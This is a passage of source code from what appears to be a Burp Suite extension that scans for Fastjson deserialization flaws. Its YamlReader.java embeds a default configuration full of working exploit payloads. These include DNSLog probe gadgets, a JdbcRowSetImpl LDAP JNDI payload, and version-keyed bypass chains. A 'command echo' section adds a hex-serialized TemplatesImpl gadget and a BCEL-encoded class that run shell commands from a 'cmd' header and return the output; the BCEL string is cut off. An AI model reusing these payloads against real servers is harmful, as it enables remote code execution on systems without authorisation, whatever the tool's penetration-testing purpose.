ContextMenuActionListener(iContextMenuInvocation,"libraryDetect")); 481 | JMenuItem jMenuItem5 = new JMenuItem("低感知扫描"); 482 | jMenuItem5.addActionListener(new ContextMenuActionListener(iContextMenuInvocation,"lowPerceptScan")); 483 | menuItems.add(jMenuItem3); 484 | menuItems.add(jMenuItem4); 485 | menuItems.add(jMenuItem5); 486 | menuItems.add(jMenuItem); 487 | menuItems.add(jMenuItem2); 488 | 489 | 490 | return menuItems; 491 | } 492 | 493 | private class ContextMenuActionListener implements ActionListener { 494 | IContextMenuInvocation invocation; 495 | String mode; 496 | public ContextMenuActionListener(IContextMenuInvocation invocation,String mode) { 497 | this.invocation = invocation; 498 | this.mode = mode; 499 | } 500 | @Override 501 | public void actionPerformed(ActionEvent actionEvent) { 502 | CompletableFuture.runAsync(() -> { 503 | try { 504 | scan(invocation.getSelectedMessages()[0],mode); 505 | } catch (Exception ex) { 506 | // 在Burp的报警窗口显示错误 507 | callbacks.issueAlert("Scan failed: " + ex.getMessage()); 508 | callbacks.printError("Scan error: " + ex.toString()); 509 | } 510 | }); 511 | } 512 | } 513 | } 514 | -------------------------------------------------------------------------------- /src/main/java/burp/utils/YamlReader.java: -------------------------------------------------------------------------------- 1 | package burp.utils; 2 | 3 | import java.io.*; 4 | import java.nio.charset.StandardCharsets; 5 | import java.nio.file.Files; 6 | import java.nio.file.Path; 7 | import java.nio.file.Paths; 8 | import java.util.*; 9 | 10 | import org.yaml.snakeyaml.Yaml; 11 | 12 | import burp.IBurpExtenderCallbacks; 13 | 14 | public class YamlReader { 15 | private static YamlReader instance; 16 | private static Map> properties = new HashMap<>(); 17 | private static Path configPath = null; 18 | private static long lastModified; // 记录文件最后修改时间 19 | private static final String CONFIG_CONTENTS = "# 插件启动项\n" + 20 | "isStart: true\n" + 21 | "# 绕过waf模块,默认关闭\n" + 22 | "isStartBypass: false\n" + 23 | "\n" + 24 | "# 扫描配置\n" + 25 | "scan:\n" + 26 | " # 问题数量\n" + 27 | " # 表示可以接收同一个站点多少个问题个数\n" + 28 | " # 超过次数以后就不在对该站点进行扫描了\n" + 29 | " # 0 表示无限次接收\n" + 30 | " issueNumber: 0\n" + 31 | " # 站点扫描次数\n" + 32 | " # 超过次数以后就不在对该站点进行扫描了\n" + 33 | " # 0 表示无限次扫描\n" + 34 | " siteScanNumber: 0\n" + 35 | " # 域名扫描规则\n" + 36 | " domainName:\n" + 37 | " # 域名黑名单\n" + 38 | " # 注: 黑名单优先级最高\n" + 39 | " # 注: 为空表示关闭该功能\n" + 40 | " # 使用规则:\n" + 41 | " # 1. 过滤某个域名: www.domain1.com\n" + 42 | " # 2. 过滤某个域名的全部子域名: *.domain2.com\n" + 43 | " # 3. 过滤某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com\n" + 44 | " # 使用方法:\n" + 45 | " # blacklist:\n" + 46 | " # - \"www.domain1.com\"\n" + 47 | " # - \"*.domain2.com\"\n" + 48 | " blacklist:\n" + 49 | " - \"*.dnslog.cn\"\n" + 50 | " - \"*.ceye.io\"\n" + 51 | " - \"*.fofa.so\"\n" + 52 | " - \"*.shodan.io\"\n" + 53 | " - \"*.eyes.sh\"\n" + 54 | " - \"*.github.com\"\n" + 55 | " - \"*.apple.com\"\n" + 56 | " - \"*.bilibili.com\"\n" + 57 | " - \"*.dingtalk.com\"\n" + 58 | " - \"*.amap.com\"\n" + 59 | " - \"*.taobao.com\"\n" + 60 | " - \"*.umeng.com\"\n" + 61 | " # 域名白名单\n" + 62 | " # 注: 黑名单优先级最高\n" + 63 | " # 注: 为空表示关闭该功能\n" + 64 | " # 使用规则:\n" + 65 | " # 1. 只扫描某个域名: www.domain1.com\n" + 66 | " # 2. 只扫描某个域名的全部子域名: *.domain2.com\n" + 67 | " # 3. 只扫描某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com\n" + 68 | " # 使用方法:\n" + 69 | " # whitelist:\n" + 70 | " # - \"www.domain1.com\"\n" + 71 | " # - \"*.domain2.com\"\n" + 72 | " whitelist:\n" + 73 | "\n" + 74 | "# url黑名单后缀\n" + 75 | "# url的后缀出现这些字段的都不进行测试\n" + 76 | "urlBlackListSuffix:\n" + 77 | " config:\n" + 78 | " isStart: true\n" + 79 | " suffixList:\n" + 80 | " - \"3g2\"\n" + 81 | " - \"3gp\"\n" + 82 | " - \"7z\"\n" + 83 | " - \"aac\"\n" + 84 | " - \"abw\"\n" + 85 | " - \"aif\"\n" + 86 | " - \"aifc\"\n" + 87 | " - \"aiff\"\n" + 88 | " - \"arc\"\n" + 89 | " - \"au\"\n" + 90 | " - \"avi\"\n" + 91 | " - \"azw\"\n" + 92 | " - \"bin\"\n" + 93 | " - \"bmp\"\n" + 94 | " - \"bz\"\n" + 95 | " - \"bz2\"\n" + 96 | " - \"cmx\"\n" + 97 | " - \"cod\"\n" + 98 | " - \"csh\"\n" + 99 | " - \"css\"\n" + 100 | " - \"csv\"\n" + 101 | " - \"doc\"\n" + 102 | " - \"docx\"\n" + 103 | " - \"eot\"\n" + 104 | " - \"epub\"\n" + 105 | " - \"gif\"\n" + 106 | " - \"gz\"\n" + 107 | " - \"ico\"\n" + 108 | " - \"ics\"\n" + 109 | " - \"ief\"\n" + 110 | " - \"jar\"\n" + 111 | " - \"jfif\"\n" + 112 | " - \"jpe\"\n" + 113 | " - \"jpeg\"\n" + 114 | " - \"jpg\"\n" + 115 | " - \"m3u\"\n" + 116 | " - \"mid\"\n" + 117 | " - \"midi\"\n" + 118 | " - \"mjs\"\n" + 119 | " - \"mp2\"\n" + 120 | " - \"mp3\"\n" + 121 | " - \"mpa\"\n" + 122 | " - \"mpe\"\n" + 123 | " - \"mpeg\"\n" + 124 | " - \"mpg\"\n" + 125 | " - \"mpkg\"\n" + 126 | " - \"mpp\"\n" + 127 | " - \"mpv2\"\n" + 128 | " - \"odp\"\n" + 129 | " - \"ods\"\n" + 130 | " - \"odt\"\n" + 131 | " - \"oga\"\n" + 132 | " - \"ogv\"\n" + 133 | " - \"ogx\"\n" + 134 | " - \"otf\"\n" + 135 | " - \"pbm\"\n" + 136 | " - \"pdf\"\n" + 137 | " - \"pgm\"\n" + 138 | " - \"png\"\n" + 139 | " - \"pnm\"\n" + 140 | " - \"ppm\"\n" + 141 | " - \"ppt\"\n" + 142 | " - \"pptx\"\n" + 143 | " - \"ra\"\n" + 144 | " - \"ram\"\n" + 145 | " - \"rar\"\n" + 146 | " - \"ras\"\n" + 147 | " - \"rgb\"\n" + 148 | " - \"rmi\"\n" + 149 | " - \"rtf\"\n" + 150 | " - \"snd\"\n" + 151 | " - \"svg\"\n" + 152 | " - \"swf\"\n" + 153 | " - \"tar\"\n" + 154 | " - \"tif\"\n" + 155 | " - \"tiff\"\n" + 156 | " - \"ttf\"\n" + 157 | " - \"vsd\"\n" + 158 | " - \"wav\"\n" + 159 | " - \"weba\"\n" + 160 | " - \"webm\"\n" + 161 | " - \"webp\"\n" + 162 | " - \"woff\"\n" + 163 | " - \"woff2\"\n" + 164 | " - \"xbm\"\n" + 165 | " - \"xls\"\n" + 166 | " - \"xlsx\"\n" + 167 | " - \"xpm\"\n" + 168 | " - \"xul\"\n" + 169 | " - \"xwd\"\n" + 170 | " - \"zip\"\n" + 171 | " - \"js\"\n" + 172 | " - \"wmv\"\n" + 173 | " - \"asf\"\n" + 174 | " - \"asx\"\n" + 175 | " - \"rm\"\n" + 176 | " - \"rmvb\"\n" + 177 | " - \"mp4\"\n" + 178 | " - \"mov\"\n" + 179 | " - \"m4v\"\n" + 180 | " - \"dat\"\n" + 181 | " - \"mkv\"\n" + 182 | " - \"flv\"\n" + 183 | " - \"vob\"\n" + 184 | " - \"txt\"\n" + 185 | " - \"php\"\n" + 186 | " - \"asp\"\n" + 187 | "\n" + 188 | "# 应用程序配置\n" + 189 | "application:\n" + 190 | " lowPerceptionScan:\n" + 191 | " config:\n" + 192 | " # 插件启动项\n" + 193 | " isStart: true\n" + 194 | " # 提供商\n" + 195 | " provider: \"versionDetect\"\n" + 196 | " dnslogPayloads:\n" + 197 | " # 新增自定义payload时记得将dns地址同一更改为dnslog-url\n" + 198 | " - \"{\\\"@type\\\":\\\"java.net.Inet4Address\\\",\\\"val\\\":\\\"dnslog-url\\\"}\"\n" + 199 | " - \"{{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://dnslog-url\\\"}:\\\"x\\\"}\"\n" + 200 | " - \"{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog-url\\\"}}\"\n" + 201 | " detectVersionExtension:\n" + 202 | " config:\n" + 203 | " # 插件启动项\n" + 204 | " isStart: true\n" + 205 | " # 提供商\n" + 206 | " provider: \"versionDetect\"\n" + 207 | " regexPayloads:\n" + 208 | " # 分号左侧匹配为正则匹配式,匹配响应包中的fastjson-version x.xx.xx 版本号\n" + 209 | " # payload=右侧填入对应payload\n" + 210 | " - \"(?i)fastjson-version[\\\\s:=]+(\\\\d+\\\\.\\\\d+\\\\.\\\\d+); payload={\\\"@type\\\":\\\"java.lang.AutoCloseable\\\"\"\n" + 211 | " dnslogPayloads:\n" + 212 | " # 自行根据payload进行版本调整\n" + 213 | " # 新增自定义payload时记得将dns地址同一更改为dnslog-url\n" + 214 | " # 添加payload时记得注意格式\n" + 215 | " # 分号左侧可随意填写版本号,用于在插件中显示。payload=右侧填入对应payload\n" + 216 | " - \"autoType open; payload=[{\\\"@type\\\":\\\"java.net.CookiePolicy\\\"},{\\\"@type\\\":\\\"java.net.Inet4Address\\\",\\\"val\\\":\\\"dnslog-url\\\"}]\"\n" + 217 | " - \"version<=1.2.24; payload={\\\"name\\\":\\\"admin\\\",\\\"email\\\":\\\"admin\\\",\\\"content\\\":{\\\"@type\\\":\\\"com.sun.rowset.JdbcRowSetImpl\\\",\\\"dataSourceName\\\":\\\"ldap://dnslog-url/POC\\\",\\\"autoCommit\\\":true}}\"\n" + 218 | "# - \"version<=1.2.47; payload={\\\"username\\\":{\\\"@type\\\": \\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog-url\\\"}}}[{\\\"@type\\\": \\\"java.lang.Class\\\",\\\"val\\\": \\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\":\\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog-url\\\"}}]\"\n" + 219 | " - \"version<=1.2.47; payload=[{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\":\\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog-url\\\"}}]\"\n" + 220 | " - \"version<1.2.49; payload={\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog-url\\\"}}\"\n" + 221 | " - \"version<=1.2.68; payload=[{\\\"@type\\\":\\\"java.lang.AutoCloseable\\\",\\\"@type\\\": \\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\": \\\"java.io.ByteArrayOutputStream\\\"},{\\\"@type\\\": \\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\": \\\"dnslog-url\\\"}}]\"\n" + 222 | " - \"version<=1.2.80; payload=[{\\\"@type\\\":\\\"java.lang.Exception\\\",\\\"@type\\\":\\\"com.alibaba.fastjson.JSONException\\\",\\\"x\\\":{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\": \\\"dnslog-url\\\"}}},{\\\"@type\\\":\\\"java.lang.Exception\\\",\\\"@type\\\":\\\"com.alibaba.fastjson.JSONException\\\",\\\"message\\\":{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\": \\\"dnslog-url\\\"}}}]\"\n" + 223 | " detectLibraryExtension:\n" + 224 | " config:\n" + 225 | " # 插件启动项\n" + 226 | " isStart: true\n" + 227 | " # 提供商\n" + 228 | " provider: \"libraryDetect\"\n" + 229 | " libraryPayloads: \"{\\\"x\\\":{\\\"@type\\\":\\\"java.lang.Character\\\"{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"libraries\\\"}}\"\n" + 230 | " libraries:\n" + 231 | " - \"org.springframework.web.bind.annotation.RequestMapping\" #SpringBoot\n" + 232 | " - \"org.apache.catalina.startup.Tomcat\" #Tomcat\n" + 233 | " - \"groovy.lang.GroovyShell\" #Groovy - 1.2.80\n" + 234 | " - \"com.mchange.v2.c3p0.DataSources\" #C3P0\n" + 235 | " - \"com.mysql.jdbc.Buffer\" #mysql-jdbc-5\n" + 236 | " - \"com.mysql.cj.api.authentication.AuthenticationProvider\" #mysql-connect-6\n" + 237 | " - \"com.mysql.cj.protocol.AuthenticationProvider\" #mysql-connect-8\n" + 238 | " - \"sun.nio.cs.GBK\" #JDK8\n" + 239 | " - \"java.net.http.HttpClient\" #JDK11\n" + 240 | " - \"org.apache.ibatis.type.Alias\" #Mybatis\n" + 241 | " - \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\" #tomcat-dbcp-7-BCEL\n" + 242 | " - \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\" #tomcat-dbcp-8及以后-BCEL\n" + 243 | " - \"org.apache.commons.io.Charsets\" # 存在commons-io,但不确定版本\n" + 244 | " - \"org.apache.commons.io.file.Counters\" #commons-io-2.7-2.8\n" + 245 | " - \"org.aspectj.ajde.Ajde\" #aspectjtools\n" + 246 | " # 命令回显扩展\n" + 247 | " cmdEchoExtension:\n" + 248 | " config:\n" + 249 | " isStart: true\n" + 250 | " # 提供商\n" + 251 | " provider: \"CmdEchoScan\"\n" + 252 | " # 命令输入点字段名称\n" + 253 | " # 发送命令回显的Header字段名称\n" + 254 | " # 注意: 设置以后,所有的poc都要记得支持这个字段进行命令输入\n" + 255 | " commandInputPointField: \"cmd\"\n" + 256 | " payloads:\n" + 257 | " - \"{\\\"e\\\":{\\\"@type\\\":\\\"java.lang.Class\\\",\\\"val\\\":\\\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\\\"},\\\"f\\\":{\\\"@type\\\":\\\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\\\",\\\"userOverridesAsString\\\":\\\"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e0020000787000001439cafebabe00000032013d0100506f72672f6170616368652f736869726f2f636f796f74652f7365722f7374642f537472696e6753657269616c697a65726462633635336235323930613434383961666465316364663338316531396234070001010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740700030100063c696e69743e0100032829560100136a6176612f6c616e672f457863657074696f6e0700070c000500060a0004000901000372756e0c000b00060a0002000c0100106765745265714865616465724e616d6501001428294c6a6176612f6c616e672f537472696e673b010003636d6408001001001e6a6176612f6c616e672f4e6f537563684669656c64457863657074696f6e0700120100136a6176612f6c616e672f5468726f7761626c650700140100106a6176612f6c616e672f54687265616407001601000a6765745468726561647308001801000f6a6176612f6c616e672f436c61737307001a0100125b4c6a6176612f6c616e672f436c6173733b07001c0100116765744465636c617265644d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0c001e001f0a001b00200100186a6176612f6c616e672f7265666c6563742f4d6574686f6407002201000d73657441636365737369626c65010004285a29560c002400250a002300260100106a6176612f6c616e672f4f626a656374070028010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0c002a002b0a0023002c0100135b4c6a6176612f6c616e672f5468726561643b07002e0100076765744e616d650c0030000f0a00170031010004687474700800330100106a6176612f6c616e672f537472696e67070035010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a0c003700380a003600390100084163636570746f7208003b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0c003d003e0a0029003f0100067461726765740800410100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0c004300440a001b00450100176a6176612f6c616e672f7265666c6563742f4669656c640700470a00480026010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0c004a004b0a0048004c010008656e64706f696e7408004e01000674686973243008005001000768616e646c657208005201000d6765745375706572636c6173730c0054003e0a001b0055010006676c6f62616c08005701000e676574436c6173734c6f6164657201001928294c6a6176612f6c616e672f436c6173734c6f616465723b0c0059005a0a001b005b0100226f72672e6170616368652e636f796f74652e5265717565737447726f7570496e666f08005d0100156a6176612f6c616e672f436c6173734c6f6164657207005f0100096c6f6164436c617373010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0c006100620a006000630a001b003101000a70726f636573736f72730800660100136a6176612f7574696c2f41727261794c69737407006801000473697a650100032829490c006a006b0a0069006c0100152849294c6a6176612f6c616e672f4f626a6563743b0c004a006e0a0069006f0100037265710800710100076765744e6f74650800730100116a6176612f6c616e672f496e7465676572070075010004545950450100114c6a6176612f6c616e672f436c6173733b0c00770078090076007901000776616c75654f660100162849294c6a6176612f6c616e672f496e74656765723b0c007b007c0a0076007d01000967657448656164657208007f0100096765744d6574686f640c0081001f0a001b00820c000e000f0a0002008401000b676574526573706f6e736508008601000967657457726974657208008801000e6a6176612f696f2f57726974657207008a01000668616e646c65010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b0c008c008d0a0002008e0100057772697465010015284c6a6176612f6c616e672f537472696e673b29560c009000910a008b0092010005666c7573680c009400060a008b0095010005636c6f73650c009700060a008b0098010004657865630100076f732e6e616d6508009b0100106a6176612f6c616e672f53797374656d07009d01000b67657450726f70657274790c009f008d0a009e00a001000b746f4c6f776572436173650c00a2000f0a003600a301000377696e0800a50100072f62696e2f73680800a70100022d630800a9010007636d642e6578650800ab0100022f630800ad0100116a6176612f6c616e672f52756e74696d650700af01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c00b100b20a00b000b3010028285b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c009a00b50a00b000b60100116a6176612f6c616e672f50726f636573730700b801000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0c00ba00bb0a00b900bc0100116a6176612f7574696c2f5363616e6e65720700be010018284c6a6176612f696f2f496e70757453747265616d3b29560c000500c00a00bf00c10100025c610800c301000c75736544656c696d69746572010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f7574696c2f5363616e6e65723b0c00c500c60a00bf00c70100000800c90100076861734e65787401000328295a0c00cb00cc0a00bf00cd0100176a6176612f6c616e672f537472696e674275696c6465720700cf0a00d00009010006617070656e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e674275696c6465723b0c00d200d30a00d000d40100046e6578740c00d6000f0a00bf00d7010008746f537472696e670c00d9000f0a00d000da01000a6765744d6573736167650c00dc000f0a000800dd0100135b4c6a6176612f6c616e672f537472696e673b0700df0100136a6176612f696f2f496e70757453747265616d0700e101000665794a6558410800e301000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a0c00e500e60a003600e70100066c656e6774680c00e9006b0a003600ea010006636861724174010004284929430c00ec00ed0a003600ee0100152843294c6a6176612f6c616e672f537472696e673b0c007b00f00a003600f10100087061727365496e74010015284c6a6176612f6c616e672f537472696e673b29490c00f300f40a007600f50100012e0800f7010007696e6465784f660c00f900f40a003600fa010009737562737472696e67010016284949294c6a6176612f6c616e672f537472696e673b0c00fc00fd0a003600fe01000c6261736536344465636f6465010016284c6a6176612f6c616e672f537472696e673b295b420c010001010a0002010201000178010006285b42295b420c010401050a00020106010005285b4229560c000501080a003601090100062f396a2f344108010b0c009a008d0a0002010d010008676574427974657301000428295b420c010f01100a0036011101000c626173653634456e636f6465010016285b42294c6a6176612f6c616e672f537472696e673b0c011301140a000201150100052f396b3d3d08011701001673756e2e6d6973632e4241534536344465636f646572080119010007666f724e616d650c011b00620a001b011c01000c6465636f646542756666657208011e01000b6e6577496e7374616e636501001428294c6a6176612f6c616e672f4f626a6563743b0c012001210a001b01220100025b420701240100106a6176612e7574696c2e42617365363408012601000a6765744465636f6465720801280100066465636f646508012a01000a676574456e636f64657208012c0100135b4c6a6176612f6c616e672f4f626a6563743b07012e01000e656e636f6465546f537472696e6708013001001673756e2e6d6973632e424153453634456e636f646572080132010006656e636f646508013401000f3f3f3f3f3f3f3f3f3f3f3f3f3f3f3f0801360100083c636c696e69743e0a00020009010004436f646501000a457863657074696f6e7301000d537461636b4d61705461626c650021000200040000000000090001000500060002013a0000001500010001000000092ab7000a2ab7000db100000000013b00000004000100080002000e000f0001013a0000000f00010001000000031211b0000000000002000b00060001013a000003290006000b000002461217121903bd001bc0001db600214c2b04b600272b0103bd0029b6002dc0002fc0002fc0002f4d033e1d2cbea202152c1d32b600321234b6003a9902012c1d32b60032123cb6003a9901f32c1d32b600401242b600463a04190404b6004919042c1d32b6004d3a051905b60040124fb600463a04a700113a061905b600401251b600463a04190404b6004919041905b6004d3a051905b600401253b600463a04a7002b3a061905b60040b600561253b600463a04a700173a071905b60040b60056b600561253b600463a04190404b6004919041905b6004d3a051905b600401258b600463a04a700143a061905b60040b600561258b600463a04190404b6004919041905b6004d3a051905b60040b6005c125eb60064571905b60040b60065125eb6003a9901171905b600401267b600463a04190404b6004919041905b6004dc000693a0603360715071906b6006da200ec19061507b60070b600401272b600463a04190404b60049190419061507b60070b6004db60040127404bd001b5903b2007a53b60021190419061507b60070b6004d04bd0029590304b8007e53b6002d3a05190419061507b60070b6004db60040128004bd001b5903123653b60083190419061507b60070b6004d04bd002959032ab7008553b6002dc000363a081908c6004f1905b60040128703bd001bb60021190503bd0029b6002d3a091909b60040128903bd001bb60083190903bd0029b6002dc0008b3a0a190a1908b8008fb60093190ab60096190ab60099a7000ea700053a09840701a7ff10840301a7fdeba700044cb100060068007400770013009400a000a3001300a500b400b7001300da00e600e9001301a3022d0233000800000241024400150001013c000000a10010fe002907002307002f01ff004d000607000207002307002f0107004807002900010700130d5d070013ff0013000707000207002307002f010700480700290700130001070013fa00135d07001310fd004d07006901fc00e7070036ff0002000807000207002307002f0107004807002907006901000107000801ff0005000407000207002307002f01000005ff000200010700020001070015fc0000070029000a009a008d0001013a000000e30004000700000093043c129cb800a14d2cc600112cb600a412a6b6003a990005033c1b99001806bd0036590312a853590412aa5359052a53a7001506bd0036590312ac53590412ae5359052a534eb800b42db600b7b600bd3a04bb00bf591904b700c212c4b600c83a0512ca3a061905b600ce99001fbb00d059b700d11906b600d51905b600d8b600d5b600db3a06a7ffdf1906b04c2bb600deb000010000008c008d00080001013c000000360006fd001a0107003618510700e0ff00200007070036010700360700e00700e20700bf070036000023ff000200010700360001070008000a008c008d0002013a000000b8000600060000008f12e44c014d2a2bb600e89900802a2bb600ebb600efb800f2b800f63e03360403360515051da2001b15042a2bb600eb0460150560b600ef603604840501a7ffe5bb0036592a2bb600eb04601d601504602a12f8b600fbb600ffb80103b80107b7010a4dbb00d059b700d113010cb600d52cb8010eb60112b80107b80116b600d5130118b600d5b600dbb02ab8010eb000000001013c000000170003ff002200060700360700360501010100001df80049013b0000000400010008000a010001010002013a0000008f000600040000006f13011ab8011d4c2b13011f04bd001b5903123653b600832bb6012304bd002959032a53b6002dc00125c00125b04c130127b8011d4d2c13012903bd001bb600830103bd0029b6002d4e2db6004013012b04bd001b5903123653b600832d04bd002959032a53b6002dc00125c00125b000010000002c002d00080001013c0000000600016d070008013b00000004000100080009011301140002013a000000af000600050000007a014c130127b8011d4d2c13012d01c0001db600832c01c0012fb6002d4e2db6004013013104bd001b590313012553b600832d04bd002959032a53b6002dc000364ca700374e130133b8011d4d2cb601233a041904b6004013013504bd001b590313012553b60083190404bd002959032a53b6002dc000364c2bb0000100020041004400080001013c0000001b0002ff004400020701250700360001070008fd003307001b070029013b00000004000100080009010401050001013a00000049000600040000002a130137b601124c2abebc084d033e1d2abea200172c1d2a1d332b1d2bbe7033829154840301a7ffe92cb000000001013c0000000d0002fe000e07012507012501190008013800060001013a0000002e000200010000000dbb000259b7013957a700044bb1000100000008000b00080001013c0000000700024b0700080000007074002461313463653830632d343431302d343633332d623961632d30613762356365313238653870770100787372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d65737361676571007e00055b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787070707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd223902000078700000000070787372001e636f6d2e616c69626162612e666173746a736f6e2e4a534f4e417272617900000000000000010200014c00046c69737471007e00137870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a6578700000000177040000000171007e00077878;\\\"}}\"\n" + 258 | " - \"{{\\\"@type\\\":\\\"com.alibaba.fastjson.JSONObject\\\",\\\"x\\\":{\\\"@type\\\":\\\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\\\",\\\"driverClassLoader\\\":{\\\"@type\\\":\\\"com.sun.org.apache.bcel.internal.util.ClassLoader\\\"},\\\"driverClassName\\\":\\\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a